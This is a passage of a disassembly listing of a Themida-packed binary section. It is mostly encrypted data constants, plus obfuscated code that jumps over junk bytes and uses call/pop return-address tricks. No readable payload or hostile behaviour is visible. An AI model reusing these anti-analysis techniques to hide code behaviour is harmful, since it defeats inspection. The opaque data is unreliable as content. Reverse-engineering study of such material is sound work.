		dd 7FADB950h, 64BC782Eh, 31A20338h, 0E0C1A33Dh,	0FCBCFE5Ah
		dd 0C6AAD946h, 0B860441Fh, 3A22A70Eh, 3478B617h, 0FE866h
		dd 0FAAB0000h, 0EDCE77Bh, 0ABDCF2C1h, 0CFA0D524h, 81F55912h
		dd 5C84C1h, 0D840F00h, 60000000h, 0E4818FBFh, 69E78132h
		dd 617887F0h, 8A0FFF2Bh, 2, 1C8BD78Bh, 815A5139h, 9EA6F0F3h
		dd 10E96Ah, 21D40000h, 0F1A6E9FAh, 0CF781E5h, 0E325256Fh
		dd 0F3817111h, 1FD7DFD6h, 5E8h,	0E35F8B00h, 5AFC4CD3h
		dd 0F308C381h, 8A0F0C32h, 6, 830Fh, 0E8530000h,	0Ch, 3B2BEF9Bh
		dd 0BEE73D4Eh, 43840C5Eh, 18C0Fh, 5AF50000h, 6639048Fh
		dd 0EF81C68Bh, 4E62B5Fh, 81C7B70Fh, 0E62B5BC7h,	42B86604h
		dd 34FF81DFh, 0FFFFFA4h, 0FFFF7D85h, 0EE8166FFh, 8EBA3E6h
		dd 1A6BC2CDh, 0
; ---------------------------------------------------------------------------
		jmp	loc_5A24BF
; ---------------------------------------------------------------------------
		push	6115B51h
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	6115C20h
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	6115DDEh
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	6115EB5h
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	6115FE2h
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	611617Fh
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	611627Dh
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		db 43h
		dd 0CE7502Eh, 0C722EDE9h, 86612EA8h, 589B6462h,	0F4D9A620h
		dd 0B70F6F3Bh, 0F2CC2DC8h, 0E88E205h, 4E48A641h, 0DB0C6881h
		dd 7BAEB656h, 51C92C7Dh, 0D17B5396h, 0E51BDE69h, 45EE6A8Eh
		dd 759D5CB8h, 2B8763DFh, 4640BE01h, 0C52DB1F9h,	582C78EBh
		dd 21194F8Ah, 0B17EE9C7h, 0C66F9256h, 8D7DD010h, 0EEA32DBh
		dd 53E44F01h, 7D6F9254h, 579014E7h, 0AC8CBE18h,	0F3A308A3h
		dd 5093BC0Dh, 42A4BF17h, 0CD7AA644h, 2758h, 637B7D00h
		dd 42A6A19Fh, 0CD7AA644h, 73E464CFh, 11E94F8Ah,	33E770FBh
		dd 4B816F92h, 17C22980h, 0E365BC0Eh, 72000000h,	7E5836B4h
		dd 5D4AD700h, 405D759Dh, 447C8F81h, 4811C775h, 2C717D9h
		dd 5BF502FEh, 2504EF65h, 725A1DAh, 5D8C15DBh, 136B0E39h
		dd 619A5DBBh, 7CEEE802h, 7517209Ch, 18328CE2h, 4945A1A2h
		dd 0C9C53BBEh, 0FC6CEB7Eh, 2C42759Dh, 78D4B235h, 0B816548Fh
		dd 6B63855Eh, 7E6030DCh, 0F5895AB4h, 3C4F8B10h,	0D08815DEh
		dd 53AF6F92h, 2600F8A4h, 4B8C7920h, 5955B33h, 9887B0DDh
		dd 88E64C92h, 8755A4AAh, 0D25A336Ah, 44DF5225h,	0C7004985h
		dd 601C2BA3h, 45A5BE98h, 37BFE49h, 3FAB498Bh, 0AA0E45Ah
		dd 82ACBh, 0E88E500h, 4B43A641h, 840279FCh, 0C2BC383Bh
		dd 1C7AF275h, 81955AB3h, 47A26D69h, 4DFA826h, 0D81BE4E2h
		dd 965B24A2h, 0B7B07DE6h, 0CAC77BAEh, 5A34B493h, 9AF40AEDh
		dd 637B362Dh, 0A90581F8h, 1F12F94Fh, 9548E0A1h,	4D968E53h
		dd 0C87709CEh, 7EDF1FC8h, 6ED24F8Ah, 0DBB33730h, 923EC931h
		dd 923F90D9h, 0D7223A6Fh, 0E0D1982h, 0C08ABCh, 0B4AB0000h
		dd 29B25836h, 9C57F5D1h, 759D5955h, 0AE1FB88Eh,	0D8DAAD2Ch
		dd 3236B42Fh, 0A31D4300h, 9966C239h, 84A6205Eh,	2600EAFCh
		dd 89B5613Dh, 1BE4544Fh, 0EC0CCF17h, 84E77892h,	94F2AE0Ah
		dd 83A4C343h, 0A7C10249h, 9C7C202Fh, 4D49A1A2h,	8F076782h
		dd 5BDFB1B5h, 0C13CAEE4h, 75Bh,	907F5794h, 0CBB41255h
		dd 0AF5D128h, 44338BEFh, 824D49A1h, 38B0648Dh, 0F576F15Eh
		dd 0B1CB2E99h, 718F6AD5h, 0D741AA15h, 0AEB87F0Ch, 0E215947Bh
		dd 4D3034B4h, 9EC4AFCh,	70503F9Bh, 0AC3CC112h, 655B759Dh
		dd 9DAC2DF2h, 1AF64A75h, 18F40AEDh, 9DAC42CFh, 0B00E6875h
		dd 0A494A69Ah, 9A7650AFh, 36B4362Dh, 0D329B258h, 0FA31DD91h
		dd 0AF0B0D5Ch, 0C740FB71h, 8446FD4Bh, 40A68C7Bh, 0A8BE9CFAh
		dd 0FFDCAACFh, 0F0BDA649h, 7759D9Fh, 5B8C0C3Bh,	4F8AB733h
		dd 0B708221Eh, 0C6C03A39h, 245A9D6Ah, 19DA80AAh, 136B83E2h
		dd 9AA501F9h, 0BC935FCFh, 7742E4C6h, 7906D10Fh,	0AAE84C52h
		dd 6BB836B3h, 10E8121Dh, 90EE0CE7h, 28F58B6h, 11E84B73h
		dd 0C84C2729h, 18BA611Fh, 87E500EFh, 60F3D10Fh,	0E84B749Bh
		dd 0FF6D6981h, 0CF01F903h, 0A23A1319h, 9A36C1FEh, 4B9489D1h
		dd 408B81E8h, 4F3CB21h,	19338BE1h, 4B940256h, 8B7EF6E8h
		dd 0B90680FEh, 6660985Bh, 8EB14C4h, 227694F2h, 0CF1876BCh
		dd 0C238B033h, 7BFCDA26h, 897887FFh, 9BF53DA1h,	2D64D848h
		dd 0D775C5BCh, 3565CC1Ch, 9D6CE4DCh, 6AE1DF44h,	0B011D74Fh
		dd 734BA240h, 6CEF61D9h, 2D1A250Fh, 305h, 9386D4CAh, 6E68804Bh
		dd 0BF8354B2h, 0DA4F8A74h, 0CD5E8966h, 54C48382h, 0F84EA892h
		dd 4F2E37A1h, 9BF90685h, 7945FBDh, 2CEE83ACh, 9C50232Ch
		dd 99C870B8h, 0E7FF8BA1h, 1CC72503h, 0E878988Fh, 1F4A3EA4h
		dd 0CB753A4Bh, 77E0E06Fh, 0C26A8FBEh, 0E0635DBDh, 0A0430C8Ah
		dd 78F64C4Ah, 9F6B7514h, 59D10EDh, 156A0000h, 0D02BCEB9h
		dd 8FEE09F6h, 49AD4837h, 767824Dh, 22CFC08Fh, 2F98F676h
		dd 6CDBB334h, 0A8176F89h, 0E8572F4Dh, 3DC21503h, 5A7BAEBAh
		dd 73512057h, 9D5D1BE0h, 37C03875h, 0A9876B73h,	8A744EBEh
		dd 2DDF234Fh, 1C7A54AAh, 3268353Eh, 0B38F6F92h,	449AC884h
		dd 7FC31B75h, 4AA6D601h, 358B497Fh, 870A5D22h, 0D3047A69h
		dd 69870A4Eh, 5D399565h, 9DF977F2h, 3896D46Fh, 54324912h
		dd 0CDC92DB6h, 0C534AC5Fh, 7544DCC3h, 4F3896D4h, 1940F75Ch
		dd 207A8C2h, 7B4D0000h,	0B6A19F63h, 4F8C244Dh, 36FB6C52h
		dd 5D6F8C03h, 840266FDh, 0E0DEBA66h, 0C08F0767h, 2E6B0AC0h
		dd 26DD4F70h, 0A01E5E19h, 8593218Ah, 314F6F8Bh,	209B9F55h
		dd 7EECDE54h, 4C69Fh, 92EC0100h, 2FA7C225h, 68668560h
		dd 0A620449Fh, 0E0DE1ED9h, 2DF93617h, 0E306F1CDh, 0A0430C8Ah
		dd 64FF4846h, 2A3F8806h, 0BB14994Ah, 6E237BAEh,	9F637B77h
		dd 244DB6A1h, 0B88E4F8Ch, 0EE1B940Eh, 3DC21598h, 5A6F8BF9h
		dd 3B2C0AE6h, 6F8BF876h, 0EE92BD9Dh, 967F812h, 0C927C28Dh
		dd 66845FCDh, 7993EB0Fh, 60072581h, 0EA0021E8h,	0A30823ECh
		dd 4BC1451h, 151h, 5836B411h, 985E57Eh,	738952FEh, 6086AC1Bh
		dd 5FABBC9Ah, 4A4F8A58h, 4A9354F6h, 646F9258h, 5FC41DECh
		dd 0C0BC0DF0h, 3Fh, 1D637BD5h, 9D5D45CAh, 0FB6C5275h, 759D5D36h
		dd 0C201FD5Dh, 0DE0228A6h, 9BD30462h, 964F8A74h, 9E2F80AAh
		dd 0C86F9234h, 91ED0FC8h, 8FBD1952h, 0EDDCA453h, 0E172F94h
		dd 85F0BCh, 0B4850000h,	29B25836h, 8C57F5D1h, 53AE7A6Eh
		dd 0E5DB8C3Fh, 2C868F63h, 7CD873ADh, 9FF775CEh,	0FA9E2530h
		dd 5E9C759Dh, 4B939760h, 0A8AB89E7h, 3CC7704Eh,	4F9029EEh
		dd 1ED9370Bh, 0DC17E0DEh, 3A20229Ch, 51DE4F5Ch,	3995ABBh
		dd 19560000h, 0D417D2BDh, 93EA0DFAh, 4DA94C3Bh,	0B638671h
		dd 26CBC4B3h, 339CFA72h, 70DFB730h, 0AC1B73F5h,	0EC5B3349h
		dd 41CE1907h, 567BAEBCh, 34B4245Bh, 0F40AED5Ah,	51362D9Ah
		dd 5D1BE073h, 0C038759Dh, 403EBC37h, 0E3DB11AAh, 62C81E14h
		dd 7A3FD304h, 0C63A4F8Ah, 0E6448AE8h, 0C5F3FBFAh, 0A7BC4192h
		dd 67DB6F91h, 28B334D8h, 0E26F91A9h, 0B9155192h, 0D8A0AF93h
		dd 0E3479FF1h, 0C4BE5285h, 967497Eh, 8473382Bh,	0B8806986h
		dd 8684E6ABh, 0D9B53469h, 0CD4DCF33h, 0D5A29E42h, 549651EEh
		dd 0DF68D07Ah, 42E8E604h, 0BC0B83F9h, 0AC8A7076h, 8A586FBBh
		dd 88E65A4Fh, 0B8522C4Fh, 0D9398E40h, 0F5B14E5Ah, 9C2D864Ah
		dd 366F9244h, 985BCB3Eh, 10C8625Ch, 45FC4E7h, 55C0BC0Eh
		dd 0D5000000h, 0A19F637Bh, 0BE4945A6h, 73D515DEh, 0C3044F8Ah
		dd 0DD3D2FA7h, 0D88C130Bh, 0DC6BA3B4h, 0B7A4B220h, 0CFAD96B9h
		dd 0D2A0C579h, 0C9A57E0Eh, 0E53F8823h, 93696F91h, 559EFC28h
		dd 6F91E3C8h, 0C9E413EFh, 0BC0E6762h, 1EE37452h, 356F91F0h
		dd 0B4CD3AC5h, 0EA000000h, 7E5836B4h, 5D4AD700h, 9169759Dh
		dd 7EF4AA66h, 0BFC501D8h, 0EE89B6FCh, 0BE18578Eh, 599728C2h
		dd 0F674CF7Dh, 9D242F98h, 93759DA9h, 0EBE3065Dh, 47A5400Fh
		dd 11D5DD4Fh, 2C64CF29h, 114F8AB7h, 0B8522C4Eh,	3D1BE440h
		dd 37C0BE3Ah, 0A9876B73h, 84C2AEBEh, 41BF8349h,	9F686686h
		dd 0A8AA2444h, 0E45AC1BCh, 0FCDC39D3h, 0CB000001h, 0F46FD8B6h
		dd 4FAA1571h, 0EE95630h, 0C023ECEAh, 6C612EA8h,	3F97D7C3h
		dd 7A549550h, 0B6106A8Dh, 0F6D02EC9h, 0A3B4E009h, 7BAEBDDEh
		dd 0B441B4F5h, 820FD834h, 91759D5Ch, 5093CDA9h,	0AD8DBF17h
		dd 3AB0B3A2h, 7B8CF35Ch, 0B6A19F63h, 4F8A7436h,	7725C73Bh
		dd 0F21D79FCh, 9233D667h, 9178F06Fh, 239BD215h,	944D872Dh
		dd 0CF78074Dh, 0E2377DCh, 0C028BCh, 0B4CD0000h
		dd 8409DA36h, 93759D5Ch, 8659F3AFh, 0D00E6866h,	4FFDD917h
		dd 5CBB4093h, 60D8759Dh, 33B235D7h, 9759D59h, 0C92C9BF3h
		dd 7AFDDBB3h, 0D07C8B03h, 3DB31EC0h, 9B77AB41h,	667AAABDh
		dd 9B674F8Ah, 1AE0062Ch, 74802B3Ch, 0BDB34984h,	859576h
		dd 964AF531h, 50723F28h, 0B9816985h, 0AA403EBAh, 0BBBC9A76h
		dd 9CFC4B43h, 3C27215Bh, 6985506Fh, 32D8B484h, 46A641CEh
		dd 53A48A48h, 11BBE45Ah, 0FE34h, 0DAB4C900h, 176F8A6Dh
		dd 502E4DA8h, 0EEE80CE7h, 28A6C621h, 0D5C16E5Fh, 0AB4E3995h
		dd 688B7452h, 2CC7B00Eh, 0E207F0CEh, 0BEDCA1B2h, 0B6FB7BAEh
		dd 5A34B44Fh, 9AF40AEDh, 36B4362Dh, 36C22532h, 0F1ADE3D6h
		dd 6C6A805Bh, 0F9578FA3h, 32BC412Fh, 9FF95552h,	8CB72754h
		dd 5ECC4C4Fh, 6E85E760h, 35D7B30Bh, 41BF3AC5h, 594D7A2Fh
		dd 78FBFD42h, 0B06882FCh, 72886BD4h, 0B4C04D96h, 6BD76F8Ch
		dd 0B555DA0Dh, 9E626F8Ch, 74520822h, 8CB51EE3h,	3AC5356Fh
		dd 0A4F6BAFh, 0AB23474Bh, 0C0BE3E81h, 7FEDE903h, 3AECDF05h
		dd 98A910D6h, 0C90A6462h, 0C73BD1ADh, 0D02EC938h, 0E2185791h
		dd 3E9A46E4h, 0B5EE6442h, 8CCF0664h, 7CC789B6h,	66C9EF8h
		dd 0A7ADD920h, 0F8C70EF4h, 0E9E50653h, 967020Dh, 9C4C4FE7h
		dd 7CD852ADh, 0BC1A5093h, 2EF36442h, 45531217h,	47864AF5h
		dd 3, 0B42C9360h, 2AAD5F37h, 8F50FAD4h,	60FB116Dh, 0DA9D8F07h
		dd 0BD0624A2h, 10AB413Dh, 8F50FAD4h, 63F41670h,	199C8E08h
		dd 5404EC83h, 8124048Fh, 42404h, 89530000h, 4C381E3h, 83000000h
		dd 1C8704EBh, 2C895C24h, 5046824h, 0C890000h, 9A685324h
		dd 5B30EE15h, 0BBA3B951h, 0CB292ADCh, 5BDD8959h, 240C8B54h
		dd 5504C483h, 68242C81h, 8F65C413h, 41810841h, 0C4136808h
		dd 2434FF65h, 4C48159h,	8B000000h, 8957242Ch, 4C781E7h
		dd 83000000h, 3C8704C7h, 1EE95C24h, 3AFFFADFh
		db 86h,	0F0h, 0B7h
; ---------------------------------------------------------------------------


loc_5A24BF:				; CODE XREF: Themida_:005A1A50j
		mov	eax, 61163A0h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 633C616Ah, 804281Fh,	44CF2610h, 3A14C8A1h, 58B0D4A8h
		dd 4F1D9DACh, 3D86912Ch, 652C8D8Dh, 0B58B0611h,	60B21DDh
		dd 174D8D89h, 8F0F060Bh, 6, 1CDB531h, 85C7060Bh, 60B0119h
		dd 5C40h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0D7C35242h, 0C70234ECh,	0B100985h, 6, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 14E83FDAh, 36000000h, 663FFC72h, 1B2FF190h, 0FA3ED861h
		dd 0EE12A590h, 80F6EFF0h, 0FF5E34E3h, 0B1AA9B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0EC9CFE1Ch, 50DD1B8Bh, 95FF5366h, 60B0AC5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A4C35343h, 640E6904h
		dd 2918D026h, 0B005D8Dh, 0FF006A06h, 0B32DD95h,	0EBC08B06h
		dd 0CA9E4F4Fh, 69AE62h,	6785FA15h, 0FC9744C9h, 0BD70EE92h
		dd 6E0BB07Bh, 32FE5A59h, 0BB443D2Dh, 628C4AE6h,	30227D90h
		dd 2159806h, 0C4D1E365h, 0D3697389h, 6922452h, 738EEEAh
		dd 904882A8h, 72581C3h,	536E654Fh, 8C72A618h, 6955662Ah
		dd 10E8h, 9E4B6900h, 6A9FCDAEh,	12D8158Eh, 993C6663h, 665BF801h
		dd 0C381D68Bh, 6A22h, 68D6B70Fh, 0
; ---------------------------------------------------------------------------
		mov	eax, ecx
		pop	ecx


loc_5A264F:				; CODE XREF: Themida_:005A26EAj
		mov	edi, [ebx+ecx]
		jmp	loc_5A2666
; ---------------------------------------------------------------------------
		db 91h
		dd 2369A364h, 0E839B8AEh, 1F44114Ch
		db 0Ah,	63h
; ---------------------------------------------------------------------------


loc_5A2666:				; CODE XREF: Themida_:005A2652j
		add	edi, 2E116E83h
		mov	eax, [ebp+60B19FDh]
		add	edi, 5CBBD634h
		jmp	loc_5A268C
; ---------------------------------------------------------------------------
		db 0A1h, 0D2h, 0A8h
		dd 1D149AA7h, 1F2D54B9h, 0AA6880BDh
; ---------------------------------------------------------------------------


loc_5A268C:				; CODE XREF: Themida_:005A2678j
		add	edi, 781FDE8Bh
		mov	eax, [ebp+60B1241h]
		push	edi
		pop	dword ptr [ebx+ecx]
		jns	loc_5A26A3
		stc


loc_5A26A3:				; CODE XREF: Themida_:005A269Cj
		sub	ecx, 0C9A62B9h
		jmp	loc_5A26BC
; ---------------------------------------------------------------------------
		dw 8033h
		dd 0EB3EABCEh, 3F2EE1B7h, 0DBB27E38h
; ---------------------------------------------------------------------------


loc_5A26BC:				; CODE XREF: Themida_:005A26A9j
		add	ecx, 0C9A62B5h
		mov	esi, eax
		cmp	ecx, 0FFFF96A8h
		jnz	loc_5A26E7
		sub	dx, 0B762h
		jmp	loc_5A26F7
; ---------------------------------------------------------------------------
		dw 0EF0Dh
		dd 0DC014AADh, 682BCE00h
		db 0AFh, 79h, 0BEh
; ---------------------------------------------------------------------------


loc_5A26E7:				; CODE XREF: Themida_:005A26CAj
		mov	si, dx
		jmp	loc_5A264F
; ---------------------------------------------------------------------------
		db 95h
		dd 956881BCh
		db 23h,	3Ah, 7Dh
; ---------------------------------------------------------------------------


loc_5A26F7:				; CODE XREF: Themida_:005A26D5j
		lea	ecx, [ebp+611673Eh]
		push	0
		push	edx
		call	sub_5A2708
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A2708	proc near		; CODE XREF: Themida_:005A2700p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5A2708	endp

; ---------------------------------------------------------------------------
		and	eax, 89C6BF0Fh
		lea	ecx, [ebp+17h]
		or	eax, [esi]
		push	0
		push	esi
		call	sub_5A272D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A272D	proc near		; CODE XREF: Themida_:005A2725p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5A272D	endp

; ---------------------------------------------------------------------------
		db 36h,	0Bh, 0C4h
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+60B0119h], 6524h
		mov	[ebp+60B3275h],	eax
		mov	dword ptr [ebp+60B1009h], 0
		jmp	loc_5A276B
; ---------------------------------------------------------------------------
		db 0E2h
		dd 91623F18h, 0FAA03ACCh
		db 62h,	0BEh, 13h
; ---------------------------------------------------------------------------


loc_5A276B:				; CODE XREF: Themida_:005A275Aj
		push	dword ptr [ebp+60B1F8Dh]
		push	0
		push	esi
		call	sub_5A277C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A277C	proc near		; CODE XREF: Themida_:005A2774p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5A277C	endp

; ---------------------------------------------------------------------------
		dd 0A814EF7h, 13E8F6D5h, 0DA000000h, 6167CBCh, 287E6E96h
		dd 4961BA91h, 1024C83Dh, 858B55FCh, 60B1621h, 0C595FF58h
		dd 6A060B0Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0FD5C351h, 284h, 6AF08B00h, 0DD95FF00h
		dd 8B060B32h, 0E83AEBC0h, 0DA6D8E72h, 0EBEDEE59h, 638B77Ch
		dd 2D7BB8D0h, 6D95AAECh, 9D0C0DEFh, 0E1BEC0F2h,	7654ECF7h
		dd 6036D61h, 0F0693E39h, 0E9969B90h, 0F055E7EAh, 0B39AD6Ch
		dd 8444E861h, 0DE8BBh, 0CE0C0000h, 292A317Fh, 0EBDEF90Ch
		dd 0E92C5C17h, 0Bh, 4B715678h, 0D5A1E786h, 5F681C5Bh, 0C781E28Ah
		dd 6A4Eh, 2DFD8D01h, 0BA060Bh, 0E8000000h, 5, 75EDE810h
		dd 0BADB81DAh, 594D8D2Dh, 8B3A34FFh, 0B0F199Dh,	0BD315E06h
		dd 60B2305h, 0D61EE81h,	13E97285h, 2C000000h, 0F8D7217Bh
		dd 0FFC8AE73h, 5365B218h, 69491559h, 0F6815359h, 4D8DEA56h
		dd 18B59589h, 0EE81060Bh, 4FCC0378h, 1F71858Bh,	3489060Bh
		dd 0F856FC17h, 4EA8358h, 17E59D2Bh, 0FA81060Bh,	0FFFF9658h
		dd 0FF9E850Fh, 8D8BFFFFh, 60B01F1h, 68EC8D8Dh, 6CB70611h
		dd 1785B529h, 8D89060Bh, 60B174Dh, 0D68B6652h, 1985C75Bh
		dd 8C060B01h, 6A000058h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0C697C352h,	7C51B13h
		dd 66920EAFh, 0FF8A8BFh, 0C89h,	0B9666000h, 0EE81FBCAh
		dd 4E92D88Bh, 985C761h,	60B10h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8BFEC351h
		dd 199D89D9h, 0FF060B12h, 0B1F8DB5h, 29B50B06h,	0FF060B10h
		dd 0B0AC595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0FF006AB9h, 0B32DD95h, 0EBC08B06h
		dd 74251C3Ah, 9BBC073Ch, 0F241562h, 2832BB00h, 5BE710B5h
		dd 1694106h, 2908D241h,	0A0E3BE32h, 0E31071CDh,	806DCC12h
		dd 98C78BB8h, 0B9C1F71Ch, 4476B120h, 3E243EFAh,	8DD3ADAEh
		dd 1169A88Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0FCCA38BBh, 6DBD8BD7h, 89060B01h
		dd 0B174D8Dh, 0B5958906h, 0C7060B01h, 0B011985h, 57F806h
		dd 0F9B70F00h, 100985C7h, 60Bh,	0B5FF0000h, 60B12A9h, 2F29958Bh
		dd 95FF060Bh, 60B0AC5h,	817EB866h, 0CE9h, 0AE73F800h, 0B218FFC8h
		dd 15595365h, 0FF006A49h, 0B32DD95h, 0EBC08B06h, 6C524B48h
		dd 0EA13A717h, 0E8E12989h, 71B8B6C4h, 8AD1B115h, 50F936D4h
		dd 74CB6082h, 74BB424Ah, 52FDCEFAh, 1859CC3Eh, 88EEBABCh
		dd 173E3F84h, 6223FD39h, 1F1A610Dh, 9D937A80h, 0BDC2367Fh
		dd 907BF05h, 0DBC794F2h, 6E817h, 5C800000h, 0ABA0D127h
		dd 9529F560h, 60B2B25h,	8D895961h, 60B1069h, 6529C181h
		dd 9D8B0000h, 60B05CDh,	8A0FD22Bh, 4, 50FBB66h,	8111048Bh
		dd 58AD59C0h, 11E94Fh, 9BEC0000h, 0DDC776B2h, 0C5D42F64h
		dd 0DBC60F3Ah, 81BD6084h, 0F257F3F0h, 97BE665Fh, 0FF08110h
		dd 0E92A763Dh, 6, 1A606B2Fh, 4891848h, 6860F11h, 2B000000h
		dd 0B15E99Dh, 0DF816606h, 0EA8159F5h, 49DD0A5Dh, 13E8h
		dd 55FA4500h, 0B167FD15h, 75D18293h, 0A7020FB6h, 0B1D83A94h
		dd 0CE9h, 8A60FB00h, 1CE9D09Dh,	36BC3496h, 0C2815B71h
		dd 49DD0A59h, 60D78B60h, 66D68B66h, 6711CB81h, 0FA816161h
		dd 0FFFF9BD4h, 22850Fh,	51600000h, 644665BEh, 0E2815B15h
		dd 1557E1B1h, 21E961h, 66EC0000h, 999A8A77h, 1AAF7307h
		dd 8A19D9DDh, 0BF665750h, 5B5E4F9Dh, 0FFFF33E9h, 7BC23CFFh
		dd 0E80F0BEFh, 8, 58AB009Fh, 0C49033A9h, 0E8DCBB66h, 0F88B6659h
		dd 704DC181h, 8B660000h, 1BE968DAh, 0FA8B0000h,	6985895Ah
		dd 0FF060B1Ah, 0F08B6631h, 5E95358h, 9000000h, 0CDDE0305h
		dd 8EE8815Eh, 89322E94h, 0B04A5BDh, 0C4E88106h,	8B0D1AE7h
		dd 8CF081F2h, 0E9499D89h, 0Ah, 975B86E7h, 119474DDh, 189F0DCh
		dd 8101E983h, 88CFCD6h,	49494937h, 718D8B60h, 80060B06h
		dd 81612DC0h, 1EAh, 1B850F00h, 8B000000h, 0B0BD19Dh, 1BE906h
		dd 8C930000h, 24CE0375h, 0A427B90Eh, 59FAE40h, 0E9F8F1D9h
		dd 0FFFFFF7Fh, 992BC527h, 828D8D96h, 6A06116Ch,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 5E64C357h, 0AAC6ACDAh, 4D8D8937h, 66060B17h,	85C7DF8Bh
		dd 60B0119h, 5F84h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 67C35040h, 90E63183h,	0E9197D71h, 14h
		dd 0AA5693C5h, 7A9895E7h, 0EEAF677Bh, 0BF30F16Bh, 99CF0D58h
		dd 100985C7h, 60Bh, 8E90000h, 3000000h,	0C96EBB0Ch, 0FF65DB6Dh
		dd 0B19C9B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0FFD5B0BFh, 0B0AC595h, 11E906h, 121F0000h
		dd 0AA7D8B0h, 95F6B21Bh, 0CFBC3BA1h, 6A4A6DFEh,	0DD95FF00h
		dd 8B060B32h, 0C26DEBC0h, 39F3A3E6h, 0DDF77A1h,	152CA0FCh
		dd 74B3F74Eh, 0F48B4712h, 0C77B1AC5h, 0F48D0408h, 2C8DAC97h
		dd 0DE782ED0h, 4C1E854h, 8AF41A34h, 0DD3D7CF9h,	0A0F85E52h
		dd 97926708h, 26ACBA8Ah, 0D0A6928h, 0ED04C79h, 32AAB3ADh
		dd 0E356821h, 759A3E78h, 0EFE31BA1h, 0BF274AA3h, 47190CC9h
		dd 82C0558h, 0F2633E73h, 0DAD2CB56h, 0E86D0468h, 6D898D8Dh
		dd 9D890611h, 60B18E5h,	174D8D89h, 858B060Bh, 60B03C9h
		dd 11985C7h, 5C18060Bh,	0B5890000h, 60B28CDh, 10E8h, 0C8D1DF00h
		dd 50369DA8h, 89B17D99h, 0FC86FE46h, 965DB873h,	0C75806B6h
		dd 0B100985h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0A46ABB08h, 0B5FF0FE3h
		dd 60B1B7Dh, 8870Fh, 8E0F0000h,	2, 0BD8B6160h, 60B0B1Dh
		dd 0AC595FFh, 6A060Bh, 32DD95FFh, 0C08B060Bh, 9942AEBh
		dd 6C6D0051h, 5359918h,	0F1E276E7h, 0EADCA3E9h,	0D061A3DCh
		dd 4F34D70Dh, 0EF801AA8h, 36E26D06h, 9975820Fh,	0BDEFDD68h
		dd 6E7C8D8Dh, 8B600611h, 0B177DB5h, 128E0F06h, 0E9000000h
		dd 0Dh,	57C6E3A4h, 4A1307F9h, 5067A6B7h, 8D896120h, 60B174Dh
		dd 68F0Fh, 8D890000h, 60B2425h,	11985C7h, 68D4060Bh, 0D18B0000h
		dd 100985C7h, 60Bh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0B0EED2C3h, 6890F44h
		dd 89000000h, 0B14A9BDh, 0E0816606h, 858BBD61h,	60B29E5h
		dd 2705B5FFh, 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 8855CFC3h, 8B9C5B55h, 0B02FDBDh
		dd 0C595FF06h, 0B060B0Ah, 0B0EFDBDh, 0FF006A06h, 0B32DD95h
		dd 0EBC08B06h, 0E549396Bh, 0F598E6A9h, 1A17C968h, 0BFE8F2F5h
		dd 495EC5C0h, 7828DFACh, 9019AF08h, 0FB08C4CAh,	3BCBE583h
		dd 9BAB312Eh, 8DB13963h, 0C23803DFh, 465E381Fh,	8091EEB5h
		dd 0B1C6A5FCh, 4B47523Ch, 0EEE72D8Ch, 14A14473h, 0E76C0272h
		dd 66D1D577h, 0F7C10DC2h, 0C75CA0CCh, 55A870D3h, 0A2DE9EFBh
		dd 2F8365E2h, 0D06E90BDh
		dd 9DA2BB90h, 0EE8h, 0D81DB00h,	0E60903FEh, 67D2A678h
		dd 8A378EDCh, 0BF6659F0h, 0C181DBE3h, 6FBEh, 348BDB2Bh
		dd 0D7B70F19h, 0BCD4EE81h, 56BF53B1h, 8124F038h, 3CCEFBF6h
		dd 0E99D0165h, 81060B08h, 0B6B5FFEEh, 89FBB47Eh, 958B1934h
		dd 60B04A9h, 0BE9h, 3BCE1000h, 4C5302C3h, 28011E92h, 0D5E7EB81h
		dd 858B2C81h, 60B243Dh,	0D5E3C381h, 0BD892C81h,	60B27D9h
		dd 90C0FB81h, 850FFFFFh, 0FFFFFF9Eh, 0E8CCC080h, 0Fh, 0AF2EF6Ch
		dd 2B5B7A78h, 391B67A7h, 60ABBF39h, 891EE880h, 0B00399Dh
